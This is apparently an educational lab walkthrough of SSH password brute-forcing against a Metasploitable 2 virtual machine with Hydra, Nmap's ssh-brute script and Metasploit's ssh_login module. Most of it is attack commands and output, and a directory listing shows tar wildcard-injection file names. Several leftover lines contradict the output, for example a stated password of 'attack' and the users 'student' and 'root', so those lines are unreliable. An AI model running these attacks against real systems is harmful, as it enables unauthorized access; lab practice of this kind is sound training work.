Representation
You are a Penetration Tester hired by the company Hacking Truth to perform Password cracking/Brute Force tests on their internal Web Application and machines after knowing usernames and some kind of security test. You are asked to perform the penetration test on the client premises.
Brute Force and Password Cracking Live on Metasploitable 2 via three different tools
In this metasploitable2 environment, we get access to a Kali GUI instance. An SSH server can be accessed using the tools installed on Kali on virtual machine
Objective: Perform the following activities:
1. Find the password of user "msfadmin" using Hydra. Use password dictionary: //home/hackerboy/Desktop/Penetration-tester-jr/user.txt or rockyou.txt
2. Find the password of user "msfadmin" use appropriate Nmap script. Use password dictionary list bydefault: /usr/share/nmap/nselib/data/passwords.lst and the user list is here /home/hackerboy/Desktop/Penetration-tester-jr/user1.txt
3. Find the password of user "msfadmin" using the ssh_login Metasploit module. Use userpass dictionary: /home/hackerboy/Desktop/Penetration-tester-jr/userpass.txt
Tools
The best tools for this lab are:
# Metasploit Framework
# Hydra
# Nmap
Check the interfaces present on the Kali machine.
Command - ifconfig
There are interface eth0 available and the ip is 192.168.6.45.
Using Hydra
Use Hydra to launch a dictionary attack on the SSH service for the "student" user.
Hydra
# Multi-threaded authentication brute force tool
# Supports numerous protocols, including FTP, HTTP, IMAP, IRC, LDAP, SSH, VNC, etc.
# Written in C
Hydra help option
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr]
└─$
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr]
└─$ hydra -h
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [-m MODULE_OPT] [service://server[:PORT][/OPT]]
Options:
-R restore a previous aborted/crashed session
-I ignore an existing restore file (don't wait 10 seconds)
-S perform an SSL connect
-s PORT if the service is on a different default port, define it here
-l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE
-p PASS or -P FILE try password PASS, or load several passwords from FILE
-x MIN:MAX:CHARSET password bruteforce generation, type "-x -h" to get help
-y disable use of symbols in bruteforce, see above
-r use a non-random shuffling method for option -x
-e nsr try "n" null password, "s" login as pass and/or "r" reversed login
-u loop around users, not passwords (effective! implied with -x)
-C FILE colon separated "login:pass" format, instead of -L/-P options
-M FILE list of servers to attack, one entry per line, ':' to specify port
-o FILE write found login/password pairs to FILE instead of stdout
-b FORMAT specify the format for the -o FILE: text(default), json, jsonv1
-f / -F exit when a login/pass pair is found (-M: -f per host, -F global)
-t TASKS run TASKS number of connects in parallel per target (default: 16)
-T TASKS run TASKS connects in parallel overall (for -M, default: 64)
-w / -W TIME wait time for a response (32) / between connects per thread (0)
-c TIME wait time per login attempt over all threads (enforces -t 1)
-4 / -6 use IPv4 (default) / IPv6 addresses (put always in [] also in -M)
-v / -V / -d verbose mode / show login+pass for each attempt / debug mode
-O use old SSL v2 and v3
-K do not redo failed attempts (good for -M mass scanning)
-q do not print messages about connection errors
-U service module usage details
-m OPT options specific for a module, see -U output for information
-h more command line options (COMPLETE HELP)
server the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
service the service to crack (see below for supported protocols)
OPT some service modules support additional input (-U for module help)
Supported services: adam6500 asterisk cisco cisco-enable cvs firebird ftp[s] http[s]-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] memcached mongodb mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp
Hydra is a tool to guess/crack valid login/password pairs.
Licensed under AGPL v3.0. The newest version is always available at;
https://github.com/vanhauser-thc/thc-hydra
Please don't use in military or secret service organizations, or for illegal
purposes. (This is a wish and non-binding - most such people do not care about
laws and ethics anyway - and tell themselves they are one of the good ones.)
These services were not compiled in: afp ncp oracle sapr3 smb2.
Use HYDRA_PROXY_HTTP or HYDRA_PROXY environment variables for a proxy setup.
E.g. % export HYDRA_PROXY=socks5://l:p@127.0.0.1:9150 (or: socks4:// connect://)
% export HYDRA_PROXY=connect_and_socks_proxylist.txt (up to 64 entries)
% export HYDRA_PROXY_HTTP=http://login:pass@proxy:8080
% export HYDRA_PROXY_HTTP=proxylist.txt (up to 64 entries)
Examples:
hydra -l user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
hydra -l admin -p password ftp://[192.168.0.0/24]/
hydra -L logins.txt -P pws.txt -M targets.txt ssh
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr]
└─$
We are going to use wordlist /home/hackerboy/Desktop/Penetration-tester-jr/user.txt or rockyou.txt
Now, use the Hydra tool to launch the attack.
Command
hydra -l msfadmin -P /home/hackerboy/Desktop/Penetration-tester-jr/user.txt ssh://192.168.6.45
-l
Login with a single username
-P
Load several passwords from the list
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr]
└─$ hydra -l msfadmin -P /home/hackerboy/Desktop/Penetration-tester-jr/user.txt ssh://192.168.6.45
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-12-24 20:33:02
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 13 tasks per 1 server, overall 13 tasks, 13 login tries (l:1/p:13), ~1 try per task
[DATA] attacking ssh://192.168.6.45:22/
[22][ssh] host: 192.168.6.45 login: msfadmin password: msfadmin
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-12-24 20:33:05
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr]
└─$
The password for the msfadmin user is msfadmin.
Using Nmap Script
We will run ssh-brute Nmap script to find the password of the "administrator" user.
Password List to be used bydefault via nmap
/usr/share/john/password.lst
/home/hackerboy/Desktop/Penetration-tester-jr/user1.txt
ssh-brute script
ssh-brute.nse is a Nmap script used to launch dictionary attacks on the SSH service.
This script takes a username and password list files. This is useful when the target username is not known to the attacker. However, in this case, we are already aware of the username i.e. "administrator". So, we will create a new file containing only this username.
Command
echo "msfadmin" > users1.txt
NOTE- msfadmin is our username
The password list is "/usr/share/nmap/nselib/data/passwords.lst".
We can now run the script,
Command
nmap -p 22 --script ssh-brute --script-args userdb=/home/hackerboy/Desktop/Penetration-tester-jr/user1.txt 192.168.6.45
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr]
└─$ sudo nmap -p 22 --script ssh-brute --script-args userdb=/home/hackerboy/Desktop/Penetration-tester-jr/user1.txt 192.168.6.45
[sudo] password for hackerboy:
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-24 20:35 IST
NSE: [ssh-brute] Trying username/password pair: msfadmin:msfadmin
NSE: [ssh-brute] Trying username/password pair: msfadmin:
NSE: [ssh-brute] Trying username/password pair: msfadmin:123456
NSE: [ssh-brute] Trying username/password pair: msfadmin:12345
NSE: [ssh-brute] Trying username/password pair: msfadmin:123456789
Nmap scan report for 192.168.6.45
Host is up (0.00036s latency).
PORT STATE SERVICE
22/tcp open ssh
| ssh-brute:
| Accounts:
| msfadmin:msfadmin - Valid credentials
|_ Statistics: Performed 5 guesses in 13 seconds, average tps: 0.4
MAC Address: 08:00:27:67:67:30 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 23.21 seconds
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr]
└─$
The password of the "msfadmin" user is msfadmin
Using Metasploit
We can use
auxiliary/scanner/ssh/ssh_login
auxiliary module of the Metasploit framework to find the valid password for the "msfadmin" user.
ssh_login module
It is an auxiliary scanner module for ssh service in Metasploit. It also pops up an SSH shell on success.
Start msfconsole in quite mode using
-q
option
Command
msfconsole -q
Use the auxiliary/scanner/ssh/ssh_login module and set all required target details i.e RHOSTS, USERPASS_FILE, STOP_ON_SUCCESS, verbose etc.
Password List
/usr/share/wordlists/metasploit/root_userpass.txt or /home/hackerboy/Desktop/Penetration-tester-jr/userpass.txt
Command
use auxiliary/scanner/ssh/ssh_login
set RHOSTS demo.ine.local
set USERPASS_FILE /home/hackerboy/Desktop/Penetration-tester-jr/userpass.txt
set STOP_ON_SUCCESS true
set verbose true
exploit
RHOSTS
: Target IP address
USERPASS_FILE
: Custom Username and Password file i.e user:pass
STOP_ON_SUCCESS
: If set to
true
-the operation stops after finding the working credentials
verbose
: If set to
true
-operation logs will be shown on console
 |
| userpass.txt |
msf6 >
msf6 > search ssh_login
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/ssh/ssh_login normal No SSH Login Check Scanner
1 auxiliary/scanner/ssh/ssh_login_pubkey normal No SSH Public Key Login Scanner
Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/ssh/ssh_login_pubkey
msf6 > use 0
msf6 auxiliary(scanner/ssh/ssh_login) >
msf6 auxiliary(scanner/ssh/ssh_login) >
msf6 auxiliary(scanner/ssh/ssh_login) >
msf6 auxiliary(scanner/ssh/ssh_login) >
msf6 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.6.45
RHOSTS => 192.168.6.45
msf6 auxiliary(scanner/ssh/ssh_login) > set USERPASS_FILE /home/hackerboy/Desktop/Penetration-tester-jr/userpass.txt
USERPASS_FILE => /home/hackerboy/Desktop/Penetration-tester-jr/userpass.txt
msf6 auxiliary(scanner/ssh/ssh_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf6 auxiliary(scanner/ssh/ssh_login) > set verbose true
verbose => true
msf6 auxiliary(scanner/ssh/ssh_login) > exploit
[*] 192.168.6.45:22 - Starting bruteforce
[-] 192.168.6.45:22 - Failed: 'hackerboy:hackerbo'
[-] 192.168.6.45:22 - Failed: 'hackerboy:hacker'
[-] 192.168.6.45:22 - Failed: 'hackerboy:atul'
[-] 192.168.6.45:22 - Failed: 'hackerboy:atulthehackerboy'
[-] 192.168.6.45:22 - Failed: 'hackerboy:fadsg'
[-] 192.168.6.45:22 - Failed: 'hackerboy:fdasg'
[+] 192.168.6.45:22 - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
[*] Command shell session 2 opened (192.168.6.25:42191 -> 192.168.6.45:22 ) at 2021-12-24 20:00:21 +0530
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ssh/ssh_login) >
The password for the "msfadmin" user is attack. The tools have also provided an SSH shell.
Command
sessions
msf6 auxiliary(scanner/ssh/ssh_login) >
msf6 auxiliary(scanner/ssh/ssh_login) >
msf6 auxiliary(scanner/ssh/ssh_login) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell linux SSH hackerboy:hackerboy (192.168.6.25:22) 192.168.6.25:41331 -> 192.168.6.25:22 (192.168.6.25)
2 shell linux SSH msfadmin:msfadmin (192.168.6.45:22) 192.168.6.25:42191 -> 192.168.6.45:22 (192.168.6.45)
msf6 auxiliary(scanner/ssh/ssh_login) >
Metasploit framework takes more time for dictionary attacks in comparison to Hydra and Nmap.
We can use the credentials to access the target machine using the SSH command.
SSH to the target machine using the credentials of user "root".
Command
ssh msfadmin@192.168.6.45
<yes>
<attack>
id
whoami
ls -la
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr]
└─$ 130 ⨯
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr]
└─$ ssh msfadmin@192.168.6.45 130 ⨯
The authenticity of host '192.168.6.45 (192.168.6.45)' can't be established.
RSA key fingerprint is SHA256:BQHm5EoHX9GCiOLuVscegPXLQOsuPs+E9d/rrJB84rk.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:2: [hashed name]
~/.ssh/known_hosts:6: [hashed name]
~/.ssh/known_hosts:80: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.6.45' (RSA) to the list of known hosts.
msfadmin@192.168.6.45's password:
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
Last login: Fri Dec 24 09:17:35 2021
msfadmin@metasploitable:~$ id
uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)
msfadmin@metasploitable:~$
msfadmin@metasploitable:~$ whoami
msfadmin
msfadmin@metasploitable:~$
msfadmin@metasploitable:~$ ls -la
total 68
drwxr-xr-x 7 msfadmin msfadmin 4096 2021-07-09 16:15 .
drwxrwxrwx 7 root root 4096 2021-06-02 05:32 ..
lrwxrwxrwx 1 root root 9 2012-05-14 00:26 .bash_history -> /dev/null
-rw-r--r-- 1 msfadmin msfadmin 1 2021-06-02 06:04 --checkpoint=1
-rw-r--r-- 1 msfadmin msfadmin 1 2021-06-02 06:03 --checkpoint-action=exec=sh test.sh
-rw-r--r-- 1 msfadmin msfadmin 0 2020-12-05 10:37 data.txt
drwxr-xr-x 4 msfadmin msfadmin 4096 2010-04-17 14:11 .distcc
drwx------ 2 msfadmin msfadmin 4096 2021-07-13 06:25 .gconf
drwx------ 2 msfadmin msfadmin 4096 2021-07-13 06:25 .gconfd
-rw-r--r-- 1 msfadmin msfadmin 891 2021-04-25 08:20 index.html
-rw-r--r-- 1 msfadmin msfadmin 891 2021-04-25 08:20 index.html.1
-rw-r--r-- 1 msfadmin msfadmin 14 2021-04-25 08:22 index.html.2
-rw------- 1 root root 4174 2012-05-14 02:01 .mysql_history
-rw-r--r-- 1 msfadmin msfadmin 586 2010-03-16 19:12 .profile
-rwx------ 1 msfadmin msfadmin 4 2012-05-20 14:22 .rhosts
drwx------ 2 msfadmin msfadmin 4096 2020-12-05 10:18 .ssh
-rw-r--r-- 1 msfadmin msfadmin 0 2010-05-07 14:38 .sudo_as_admin_successful
-rw-r--r-- 1 msfadmin msfadmin 56 2021-06-02 06:03 test.sh
drwxr-xr-x 6 msfadmin msfadmin 4096 2010-04-27 23:44 vulnerable
msfadmin@metasploitable:~$
This is how we can launch dictionary attacks on services using Hydra, Nmap, and Metasploit.
Disclaimer
All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.